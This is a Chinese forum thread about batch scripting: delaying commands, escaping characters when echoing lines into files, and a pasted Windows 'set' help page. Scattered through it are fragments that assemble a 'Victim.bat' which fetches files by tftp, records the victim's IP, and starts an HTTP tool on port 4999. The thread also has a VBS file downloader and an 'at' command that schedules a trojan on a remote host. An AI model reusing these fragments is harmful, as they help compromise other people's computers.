122 12345
发新话题
打印

[讨论]如何定义一个命令20分钟后运行?

你的目的是什么呢?使变量tftpip的值为“echo tftp -i %tftpip% get pass.rar %windir%\temp\pass.rar >> Victim.bat”?
You're my FF~, forever~ ^_^

TOP

还有~

echo ipconfig | find "IP Address" ^>^> %windir%\temp\ADSLPASS.txt >> Victim.bat

这样子为什么不能出现Victim.bat文件,内容应该是:
ipconfig | find "IP Address" >> %windir%\temp\ADSLPASS.txt
我的失败提示:

拒绝访问 - >>
找不到文件 - C:\WINDOWS\TEMP\ADSLPASS.TXT
QQ:276083082

TOP

不是啊 让你可以随便给tftpd赋值,大哥你不懂 set /p 么
QQ:276083082

TOP

这是 windows2003 关于 set 的help文档:

-------------------------------------
Set显示、设置或删除环境变量。如果没有任何参数,set 命令将显示当前环境设置。

语法
set [[/a [Expression]] [/p [Variable=]] String]

参数
/a
将 String 设置成可求值的数字表达式。
/p
将 Variable 值设置成输入行。
Variable
指定需要设置或修改的变量。
String
指定要与指定变量关联的字符串。
/?
在命令提示符下显示帮助。
注释
使用“故障恢复控制台”中的 set
set 命令具有不同的参数,可从“故障恢复控制台”中获得。

使用特殊字符
字符 < > | & ^ 是特殊命令外壳字符,在 String 中使用时必须在其前面使用转义符 (^) 或用引号引起来(即,"StringContaining&Symbol")。如果要使用引号将含有特殊字符的字符串引起来,则该引号将被设置成环境变量值的一部分。

使用环境变量
使用环境变量可控制某些批处理文件和程序的行为,并可控制 Windows XP 和 MS-DOS 子系统显示和工作的方式。Autoexec.nt 文件中经常使用 set 命令设置环境变量。

显示当前的环境设置
当只键入 set 命令时,将显示当前的环境设置。这些设置通常包含用来帮助查找磁盘上程序的 COMSPEC 和 PATH 环境变量。Windows XP 使用的两个其他环境变量是 PROMPT 和 DIRCMD。

使用参数
当指定变量和字符串的值时,指定的变量值将被添加到该环境,而且该字符串与该变量关联。如果环境中已经存在该变量,新的字符串值将替代旧的字符串值。

如果只为 set 命令指定一个变量和一个等号(没有字符串),则与该变量关联的字符串值将被清除(就像变量根本不存在一样)。

使用 /a
下表按优先性从高到低的顺序列出了支持 /a 的运算符。

运算符 执行的操作
< > 分组
* / % + - 算法
<< >> 逻辑移位
& 按位“和”运算
^ 按位“异或”运算
| 按位“或”运算
= *= /= %= += -= &= ^= |= <<= >>= 分配
, 表达式分隔符

如果使用逻辑 (&& ||) 或模块 (%) 运算符,请使用引号将表达式字符串引起来。表达式中的非数字字符串将被视为环境变量名,其值将转化成数字然后才进行处理。如果指定当前环境中没有定义的环境变量名,将会分配零值,允许您对环境变量进行算术运算,而不需要使用 % 找回值。

如果从命令脚本外的命令行中运行 set /a,则会显示该表达式的最终值。

数值是指十进制的数字,前缀加 0× 则表示十六进制数字,加 0 则表示八进制数字。因此,0×12 与 18 相同,也与 022 相同。八进制表示法容易引起混淆。例如,08 和 09 不是有效数字,因为 8 和 9 不是有效的八进制数字。

使用 /p
要求有提示字符串。

支持延迟的环境变量扩展
已经添加延迟的环境变量扩展支持。默认情况下禁用该支持,不过可使用 cmd /v 启用或禁用它。

使用命令扩展
当启用命令扩展(默认)并单独运行 set 时,将显示所有当前的环境变量。如果使用一个值来运行 set,则会显示与该值匹配的变量。

在批处理文件中使用 set
创建批处理文件时,可以使用 set 命令创建变量,然后像使用编号变量 %0 到 %9 一样使用这些变量。也可以使用 %0 到 %9 变量作为 set 命令的输入。

从批处理文件调用 set 变量
从批处理文件调用变量值时,必须将该值用百分号 (%) 括起来。例如,如果批处理程序创建了一个环境变量 BAUD,则可以在命令行中键入 %baud%,将与 BAUD 关联的字符串作为可替换参数使用。

示例
要设置名为 TEST^1 的环境变量,请键入:

set testVar=test^^1

要设置名为 TEST&1 的环境变量,请键入:

set testVar=test^&1

Set 将变量值设置成等号 (=) 后的内容。如果键入:

set testVar="test^1"

将得到如下结果:
testVar="test^1"

要设置名为 INCLUDE 的环境变量,使字符串 C:\Inc(驱动器 C 上的 \Inc 目录)与该变量关联,请键入:

set include=c:\inc

然后可以通过用名称百分号 (%) 将 INCLUDE 括起,在批处理文件中使用字符串 C:\Inc。例如,可能在批处理文件中包含以下命令,以显示与 INCLUDE 环境变量关联的目录内容。

dir %include%

处理此命令时,字符串 C:\Inc 将替代 %include%。

还可以在批处理程序中使用 set,将新目录添加到 PATH 环境变量中。例如:

@echo off
rem ADDPATH.BAT adds a new directory
rem to the path environment variable.
set path=%1;%path%
set

当启用命令表达式(默认)并使用一个值来运行 set 时,则会显示与该值匹配的变量。例如,如果在命令提示符键入 set p,将得到如下结果:

Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 8 Stepping 1, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0801
ProgramFiles=C:\Program Files
PROMPT=$P$G

格式化图例
格式 含义
斜体 用户必须提供的信息
粗体 用户必须准确键入的要显示的元素
省略号 (...) 在命令行中可多次重复的参数
中括号 ([]) 可选项
大括号 ({});选项用竖线 (|) 分隔。例如:{even|odd} 用户必须从选项集合中选择一个  
Courier 字体 代码或程序输出

相关主题
QQ:276083082

TOP

确实不懂set /p,是第一次看到,得好好学习啊!

echo ipconfig ^| find "IP Address" ^>^> %windir%\temp\ADSLPASS.txt >> Victim.bat
这样写就行了,因为|也有特殊意义,所以加上^
You're my FF~, forever~ ^_^

TOP

哦,那还有那些要加的呢 > , < , ( , ) , | 还有么
QQ:276083082

TOP

记不了……反正如果出了错就到处加加^试试吧。:)
You're my FF~, forever~ ^_^

TOP

像:echo %windir%\temp\HTTP.exe 4999 >> Victim.bat

想要出现的Victim.bat文件内容是:
%windir%\temp\HTTP.exe 4999
可出现的却是:
C:\WINDOWS\temp\HTTP.exe 4999
是不是%也要转义呢
QQ:276083082

TOP

呵呵 大哥我知道了%windir%只能这样转义:

%%windir%% 用^%windir^%有时会出错哟~
QQ:276083082

TOP

引用:

下面是引用火焰于07-03-2005 17:07发表的:
vbs 缺点就是 有的机子上没有安装vbs脚本 的



不是吧,运行vbs脚本还用安什么吗?wscript.exe和cscript.exe不是系统自带的吗?
现在为了防范asp木马 只要regsvr32 /u %windir%\system32\WSHom.Ocx 卸载掉 组建 你的vbs脚本就没用了
我是中国人, 我热爱自己的祖国 .我愿意为我的祖国付出一切, 包括自己的生命!

TOP

引用:
下面是引用千寂孤城于07-04-2005 21:22发表的:


我还是建议用vbs解决。因为
1、不弹黑框框
2、不怎么占内存,因为不用循环,有个wscript.sleep。非要循环的话在循环中套个wscript.sleep也不占内存了。
.......
谢谢朋友,替换服务和改注册表,都能做到,其实也是一个解决问题的方法,呵呵.
我是十三豆子,不是十三颗豆子.bbs.tian6.com

TOP

怎么把.bat编译成.exe的可执行文件呢?还有就是
QQ:276083082

TOP

iLocal = LCase(WScript.Arguments(1))  
iRemote = LCase(WScript.Arguments(0))  
Set xPost = CreateObject("Microsoft.XMLHTTP")  
xPost.Open "GET",iRemote,0  
xPost.Send()  
Set sGet = CreateObject("ADODB.Stream")  
sGet.Mode = 3  
sGet.Type = 1  
sGet.Open()  
sGet.Write(xPost.responseBody)  
sGet.SaveToFile iLocal,2

这个据说是一个实现http下载文件的VBS脚本,可是我怎么做都不行会出错,怎么办呀  [s:43]
QQ:276083082

TOP

windows会默认用wscript来解释执行vbs文件,而这一段代码必须用cscript来执行。
试试这样运行:
cscript.exe test.vbs 参数1 参数2
You're my FF~, forever~ ^_^

TOP

不会吧,我真的不能执行,用了cscript。exe都。
QQ:276083082

TOP

引用:
下面是引用goodopell于06-20-2005 21:25发表的:
定时运行批处 netpatch版 ^_^
@echo off
if "%1"=="" goto use
if "%2"=="" goto use
:go
.......
to goodopell 兄,你在64楼说我这个代码有问题???

原话:“这个帖子有点问题 确实没运行”

不知你是怎么使用这个的呢????
我在本地是测试成功的
通往胜利的路不只一条!

TOP

to 十三豆子

功能,每天执行一次的(至于启动嘛,你自己解决吧,有很多方法的)
你要的代码:
@echo off
if "%bz%"=="%date%" goto exit
set bz=%date%
call you.bat
:exit
通往胜利的路不只一条!

TOP

引用:
下面是引用prc于07-05-2005 11:53发表的:
怎么把.bat编译成.exe的可执行文件呢?还有就是
这位兄弟,你可以试试用 bat2exe
通往胜利的路不只一条!

TOP

at ip task time

TOP

引用:
下面是引用EvilOctal于03-18-2005 20:28发表的:
at \192.168.1.1 23:20 c:trojan.net
如果是23:00就这样好了 权限够才行 还有 楼上说的服务要开
呵~
不是说在本地机子上运行吗??什么还来个192.168.1.1~~?
应该是这样吧~~ at 23:00 c:trojan.net

TOP

制作bat就不算编程?  那也是要生成个文件的啊…  还有到底是要在本地还是远程执行?

TOP

如果只是延时20分钟。下面这个批处理应该可以达到这个效果。

:start
  @echo off
  setlocal enableextensions
  echo %time%
  call :ProcDelay 120000  //延时1200秒
  echo %time%
  goto :start

  :ProcDelay delayMSec_
  setlocal enableextensions
  for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k
   :_procwaitloop
   for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set now_=%%h%%i%%j%%k
   set /a diff_=%now_%-%start_%
  if %diff_% LSS %1 goto _procwaitloop
  endlocal & goto :start

TOP

 122 12345
发新话题